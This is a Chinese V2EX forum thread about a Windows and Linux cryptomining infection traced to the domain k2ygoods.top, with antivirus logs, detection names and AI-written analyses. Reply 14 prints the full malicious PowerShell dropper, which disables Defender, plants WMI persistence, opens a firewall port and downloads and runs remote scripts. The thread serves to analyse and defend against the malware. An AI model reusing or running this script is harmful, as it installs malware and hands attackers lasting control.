V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
mingtdlb
V2EX  ›  信息安全

windows 中毒了

  •  
  •   mingtdlb · 11 天前 · 3558 次点击

    哪位大佬给他 D 一下,Google 搜了下 k2ygoods ,好多

    防护项目:利用系统进程启动恶意程序
    可疑文件:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    执行命令行:powershell.exe  IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.top/power.txt')
    操作结果:已阻止
    进程 ID:5580
    操作进程:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    操作进程命令行:cmd /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.top/power.txt')
    操作进程校验和:7C3D7281E1151FE4127923F4B4C3CD36438E1A12
    父进程 ID:1132
    父进程:C:\Windows\System32\wbem\WmiPrvSE.exe
    父进程命令行:C:\Windows\system32\wbem\wmiprvse.exe -Embedding
    

    windows 中毒

    第 1 条附言  ·  11 天前
    k2ygoods 这个网站,不了解的人 可别去访问,别中毒了(不太懂会不会)
    22 条回复    2024-09-10 21:48:10 +08:00
    coolair
        1
    coolair  
       11 天前
    访问就会中毒?!
    tool2dx
        2
    tool2dx  
       11 天前
    我去访问了,403 ,把我拒了。
    davin
        3
    davin  
       11 天前
    看到关联网址里面有个 m.dat 文件,下载到本地后,会被重命名为 m.exe ,里面的东西用在线分析工具分析的部分结果如下:

    引擎 结果
    AVG BV:Miner-HA
    DrWeb Trojan.Siggen29.1091
    Avira TR/Dldr.Agent.aemwb
    IKARUS Trojan.WinGo.Shellcoderunner
    Fortinet W32/Agent.FU!tr.dldr
    Kaspersky Trojan.VBS.Starter.lr
    ESET a variant of Generik.MVPLCEB trojan
    Avast BV:Miner-HA
    Rising HackTool.XMRMiner!1.C2EC (CLASSIC)
    Arcabit Trojan.Generic.D3FEBE29 [many]
    Kingsoft Win32.Troj.Unknown.a.(kcloud)
    Emsisoft Trojan.GenericKD.67026473 (B)
    Panda Generic Malware
    mingtdlb
        4
    mingtdlb  
    OP
       11 天前
    @coolair 不知道呀,所以建议 不懂就不访问了呗。
    @tool2dx 你 url 不对吧应该,或者你网络防火墙之类的安全设备检测到了。
    @davin 是的,这个我在系统上有看到,而且它还隐藏了。它还有定时任务,,现在都给我删了。

    Linux 发现的时候 ssh 不上,上行流量 2G/s ,太夸张了,看 config.json 跟 windows 是同一个病毒。
    kirisamemarisas
        5
    kirisamemarisas  
       11 天前
    挖矿的僵尸网络
    dyllen
        6
    dyllen  
       11 天前
    访问就能会中毒,是什么原理?
    suxiaoxiann
        7
    suxiaoxiann  
       11 天前
    访问不了
    LaureatePoet
        8
    LaureatePoet  
       11 天前
    http://k2ygoods[.]top/power.txt





    这个 PowerShell 脚本有很强的恶意行为,涉及禁用 Windows 安全特性、删除系统进程、并尝试从远程服务器下载和执行恶意代码。下面是对脚本的详细分析:

    ### 1. 生成随机字符串
    ```powershell
    $sys=-join ([char[]](48..57+97..122) | Get-Random -Count (Get-Random (6..12)))
    ```
    - 该行代码生成一个长度在 6 到 12 之间的随机字符串,由小写字母和数字组成。

    ### 2. 定义目标路径
    ```powershell
    $dst="C:\Windows\debug\m\winlogon.exe"
    ```
    - 该变量定义了一个路径,指向`winlogon.exe`的假定位置。

    ### 3. 禁用防火墙
    ```powershell
    #netsh advfirewall set allprofiles state off
    ```
    - 注释掉的行试图关闭所有 Windows 防火墙。虽然被注释掉,但这显示了脚本的潜在意图。

    ### 4. 禁用 Windows Defender
    ```powershell
    Set-MpPreference -DisableIOAVProtection $true
    Set-MpPreference -DisableRealtimeMonitoring $true
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f
    ```
    - 这些命令禁用了 Windows Defender 的实时监控和反间谍软件功能,使得系统更加容易受到恶意软件的攻击。

    ### 5. 终止和删除某些进程
    ```powershell
    gwmi -Class 'Win32_Process' -Filter "Name='svchost.exe'" | %{if(($_.ExecutablePath -ne ($env:windir+'\system32\svchost.exe')) -and ($_.ExecutablePath -ne ($env:windir+'\syswow64\svchost.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
    ```
    - 使用`Get-WmiObject` (gwmi) 获取正在运行的进程,并筛选出特定名称的进程(如`svchost.exe`)。如果这些进程不在预期的系统路径中(如`system32`或`syswow64`),则终止并强制删除其可执行文件。
    - 这一段代码显然在试图清除潜在的恶意进程,但也可能用于杀死合法进程,从而破坏系统的正常功能。

    ### 6. 检查特定进程和服务是否存在
    ```powershell
    $pExsit = (Get-Process winlogon -ErrorAction SilentlyContinue).Path -eq $dst
    $sExsit = (Get-Service "Windows Updata" -ErrorAction SilentlyContinue).Status -eq "Running"
    ```
    - 这两行代码检查`winlogon`进程是否在指定的路径上运行,以及名为`Windows Updata`的服务是否正在运行。

    ### 7. 从远程服务器下载并执行代码
    ```powershell
    if ($pExsit -and $sExsit) {
    IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.top/config.txt')
    } else {
    ...
    IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.top/download.txt')
    }
    ```
    - 如果检查通过,脚本将从`http://k2ygoods.top/config.txt`下载并执行内容;否则,它会清理某些 WMI 事件和消费者,然后从`http://k2ygoods.top/download.txt`下载并执行代码。

    ### 8. 清除和创建 WMI 事件过滤器与消费者
    ```powershell
    Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='updata'" | Remove-WmiObject -Verbose
    ...
    $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" ...
    $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" ...
    ```
    - 这一部分脚本清除了某些 WMI 事件过滤器和消费者,然后创建了新的过滤器和消费者。新的 WMI 事件设置会在特定条件下(如性能计数器事件)触发执行远程下载的恶意代码。

    ### 9. 停止和删除服务
    ```powershell
    sc.exe stop "Windows Updata"
    sc.exe delete "Windows Updata"
    sc.exe stop "Windows Management"
    sc.exe delete "Windows Management"
    ```
    - 这些命令试图停止并删除名为`Windows Updata`和`Windows Management`的服务。此类操作可能会影响系统的管理功能。

    ### 10. 开启防火墙规则
    ```powershell
    netsh advfirewall firewall add rule name="Windows Remote Management (HTTP-In)" dir=in action=allow service=any enable=yes profile=any localport=59857 protocol=tcp
    ```
    - 脚本通过添加防火墙规则,允许 TCP 59857 端口的远程访问,这可能会为攻击者提供一个后门。

    ### 总结
    这个脚本是一个恶意脚本,意图禁用系统的安全功能,清理并终止一些系统进程,设置持久化机制,并从远程服务器下载和执行恶意代码。它对系统的安全性构成了严重威胁,运行该脚本可能导致系统被完全控制或被用于进一步的恶意活动。
    iyiluo
        9
    iyiluo  
       11 天前
    浏览器的 0day ,你用的 IE ?
    glaz
        10
    glaz  
       11 天前
    @dyllen 网马,以前 IE 时代多的是,可以同时好多种漏洞访问就中毒。
    LaureatePoet
        11
    LaureatePoet  
       11 天前
    [VirusTotal - m.dat 检测结果]( https://www.virustotal.com/gui/file/c7eaff9d735d8eef42c73be4c093f7b31cf7d0df18c98d135eb915c13409d077/detection)

    以下是对这三个 PowerShell 脚本的分别总结:

    ### 1. **主要脚本 (`power.txt` 脚本)**
    - **目的**: 该脚本的目的是通过禁用系统防护和终止某些进程来破坏系统安全,同时下载和执行远程恶意代码。
    - **主要操作**:
    - **生成随机字符串**: 创建一个随机字符串并将其赋值给变量 `$sys`。
    - **禁用 Windows Defender**: 通过多种方法禁用 Windows Defender 和其他安全特性。
    - **终止并删除非标准进程**: 检查并终止多个系统关键进程,如 `svchost.exe`、`conhost.exe`,并删除它们的可执行文件。
    - **检查恶意进程和服务**: 检查 `winlogon.exe` 是否存在于指定路径,并检测名为 "Windows Updata" 的服务是否正在运行。如果存在,执行从远程服务器下载的恶意代码,否则清除 WMI 持久化机制并重新配置恶意计划任务和 WMI 事件。
    - **配置计划任务和防火墙**: 添加防火墙规则和计划任务以维持系统的长期感染状态。

    ### 2. **`config.txt` 脚本**
    - **目的**: 检查配置文件是否已被篡改,如果未被篡改则下载新的配置文件并重新配置系统的持久化机制。
    - **主要操作**:
    - **检查配置文件**: 读取 `C:\Windows\debug\m\config.json` 内容,查看其中是否包含指定的恶意域名。如果不包含,则下载更新后的配置文件并替换现有文件。
    - **更新 WMI 事件和计划任务**: 删除现有的 WMI 事件和计划任务,然后重新创建它们以确保执行恶意代码。
    - **创建计划任务**: 通过 `schtasks` 命令创建一个定时任务,该任务定期从远程服务器下载并执行恶意代码。

    ### 3. **`download.txt` 脚本**
    - **目的**: 下载、执行恶意文件,并通过设置权限和计划任务确保其持久性,同时防止系统修复。
    - **主要操作**:
    - **下载恶意文件**: 从远程服务器下载一个名为 `m.dat` 的文件并将其保存为 `m.exe`。
    - **修改文件权限**: 使用 `icacls` 修改 `C:\Windows\debug\m` 目录及其内容的权限,确保恶意文件能够在多种用户环境下执行。
    - **执行恶意文件**: 使用 `cmd.exe` 和 `Start-Process` 多次尝试执行下载的恶意文件和相关的脚本/批处理文件。
    - **创建计划任务和防火墙规则**: 创建定时任务以确保恶意代码定期执行,同时开放特定端口以便远程管理或数据泄露。
    - **清理痕迹**: 删除下载的恶意文件,并终止 `powershell.exe` 进程以减少被检测的风险。

    ### 总体总结
    这些脚本展示了一个精心设计的多层次攻击策略,通过禁用系统防护、修改系统设置、执行恶意代码并创建持久化机制,攻击者可以保持对系统的长期控制并尽量减少被发现的可能性。
    mirtle
        12
    mirtle  
       11 天前 via Android   ❤️ 2
    #8 #11 别发 ai 分析了,一两句话总结的小脚本,刷屏一样
    FreeGuy
        13
    FreeGuy  
       11 天前
    Windows 的宿主机千万不能装需要管理员权限的软件,一定要用提权的软件,你就买性能好的机器再开 Sandbox !
    GOliberation
        14
    GOliberation  
       11 天前
    $sys=-join ([char[]](48..57+97..122) | Get-Random -Count (Get-Random (6..12)))
    $dst="C:\Windows\debug\m\winlogon.exe"
    #netsh advfirewall set allprofiles state off

    Set-MpPreference -DisableIOAVProtection $true
    Set-MpPreference -DisableRealtimeMonitoring $true
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f

    # oldservice


    gwmi -Class 'Win32_Process' -Filter "Name='svchost.exe'"|%{if(($_.ExecutablePath -ne ($env:windir+'\system32\svchost.exe')) -and ($_.ExecutablePath -ne ($env:windir+'\syswow64\svchost.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
    gwmi -Class 'Win32_Process' -Filter "Name='conhost.exe'"|%{if(($_.ExecutablePath -ne ($env:windir+'\system32\conhost.exe')) -and ($_.ExecutablePath -ne ($env:windir+'\syswow64\conhost.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
    gwmi -Class 'Win32_Process' -Filter "Name='Runtime.exe'"|%{if(($_.ExecutablePath -eq ($env:windir+'\Runtime.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
    gwmi -Class 'Win32_Process' -Filter "Name='Superfetch.exe'"|%{if(($_.ExecutablePath -eq ($env:windir+'\Tasks\Superfetch.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
    gwmi -Class 'Win32_Process' -Filter "Name='ApplicationsFrameHost.exe'"|%{if(($_.ExecutablePath -eq ($env:windir+'\Tasks\ApplicationsFrameHost.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
    gwmi -Class 'Win32_Process' -Filter "Name='MsTask.exe'"|%{if(($_.ExecutablePath -eq ($env:windir+'\Tasks\MsTask.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;icacls "C:\ProgramData\migrate.exe" /setowner SYSTEM;icacls "C:\ProgramData\migrate.exe" /inheritance:r /deny "SYSTEM:F";}}
    gwmi -Class 'Win32_Process' -Filter "Name='MicrosoftPrt.exe'"|%{if(($_.ExecutablePath -eq ($env:windir+'\Tasks\MicrosoftPrt.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
    gwmi -Class 'Win32_Process' -Filter "Name='Wmiic.exe'"|%{if(($_.ExecutablePath -eq ($env:windir+'\Tasks\Wmiic.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
    gwmi -Class 'Win32_Process' -Filter "Name='IntelConfigService.exe'"|%{if(($_.ExecutablePath -eq ($env:windir+'\Tasks\IntelConfigService.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
    gwmi -Class 'Win32_Process' -Filter "Name='warp.exe'"|%{if(($_.ExecutablePath -eq ($env:windir+'\Tasks\warp.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
    gwmi -Class 'Win32_Process' -Filter "Name='WmiPrvSER.exe'"|%{if(($_.ExecutablePath -eq ($env:windir+'\Microsoft.NET\Framework\v3.0\WmiPrvSER.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}



    $pExsit = (Get-Process winlogon -ErrorAction SilentlyContinue).Path -eq $dst
    $sExsit = (Get-Service "Windows Updata" -ErrorAction SilentlyContinue).Status -eq "Running"

    if ($pExsit -and $sExsit) {

    IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.top/config.txt')
    }else{
    Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='updata'" | Remove-WmiObject -Verbose
    Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='updata2'" | Remove-WmiObject -Verbose
    Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='updata2'" | Remove-WmiObject -Verbose
    Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%updata%'" | Remove-WmiObject -Verbose


    $filterName = 'updata'
    $consumerName = 'updata2'
    $exePath = 'cmd /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString(''http://k2ygoods.top/power.txt'')'
    $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 10900 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
    $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;CommandLineTemplate=$exePath}
    Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}



    sc.exe stop "Windows Updata"
    sc.exe delete "Windows Updata"
    sc.exe stop "Windows Management"
    sc.exe delete "Windows Management"

    netsh advfirewall firewall add rule name="Windows Remote Management (HTTP-In)" dir=in action=allow service=any enable=yes profile=any localport=59857 protocol=tcp

    #Start-Process -windowstyle hidden
    IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.top/download.txt')
    }

    你给 k2ygoods.top 这个域名在 HOSTS 里面强制指向 127.0.0.1 病毒自然就失效了!
    gbadge
        15
    gbadge  
       11 天前
    访问了,什么时候能收到勒索信
    liangdi
        16
    liangdi  
       11 天前
    @gbadge v50 告诉你
    mingtdlb
        17
    mingtdlb  
    OP
       11 天前 via Android
    @LaureatePoet 似曾相识 哈哈哈,因为我问了 chatgpt 。
    @dyllen 前面说了,不知道。你访问那个 url ,实际不止那个。我装的火绒,有拦截记录。然后全盘扫了一遍,希望没中毒,别号给我盗走了。
    siweipancc
        18
    siweipancc  
       11 天前 via iPhone
    难受,一堆 ai
    z1829909
        19
    z1829909  
       10 天前
    @LaureatePoet 能不能别发 ai 生成的, 一堆废话还得滚一个屏幕.
    mingtdlb
        20
    mingtdlb  
    OP
       10 天前
    @z1829909 v2 markdown 支持的不完美,不然 markdown 可以折叠。你去建议作者支持一下 哈哈。
    dyllen
        21
    dyllen  
       10 天前
    @mingtdlb 现代的浏览器除非有漏洞,应该不可能访问网站能使电脑本身中毒,小小一个网页能攻破主流浏览器?
    drymonfidelia
        22
    drymonfidelia  
       6 天前
    @dyllen 肯定有没曝出来的 0day 可以穿透浏览器沙盒
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1006 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 23ms · UTC 19:10 · PVG 03:10 · LAX 12:10 · JFK 15:10
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.